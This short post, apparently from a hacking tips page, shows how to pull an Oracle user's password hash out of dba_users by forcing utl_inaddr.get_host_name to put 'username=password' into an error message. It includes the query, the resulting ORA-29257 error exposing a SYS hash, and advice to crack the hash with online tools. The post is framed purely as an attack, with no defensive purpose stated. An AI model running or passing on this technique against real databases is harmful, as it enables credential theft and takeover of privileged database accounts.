Hack oracle Password

 if you have any User with DBA role then you can do that  .

SQL> select utl_inaddr.get_host_name((select username||'='||password from dba_users where rownum=1)) from dual;

select utl_inaddr.get_host_name((select username||'='||password from dba_users where rownum=1)) from dual

       *

ERROR at line 1:

ORA-29257: host SYS=ABB9BAD22B911985 unknown

ORA-06512: at "SYS.UTL_INADDR", line 4

ORA-06512: at "SYS.UTL_INADDR", line 35

ORA-06512: at line 1

SQL> 

Now You can use any Software or Online Site to Hack This Password.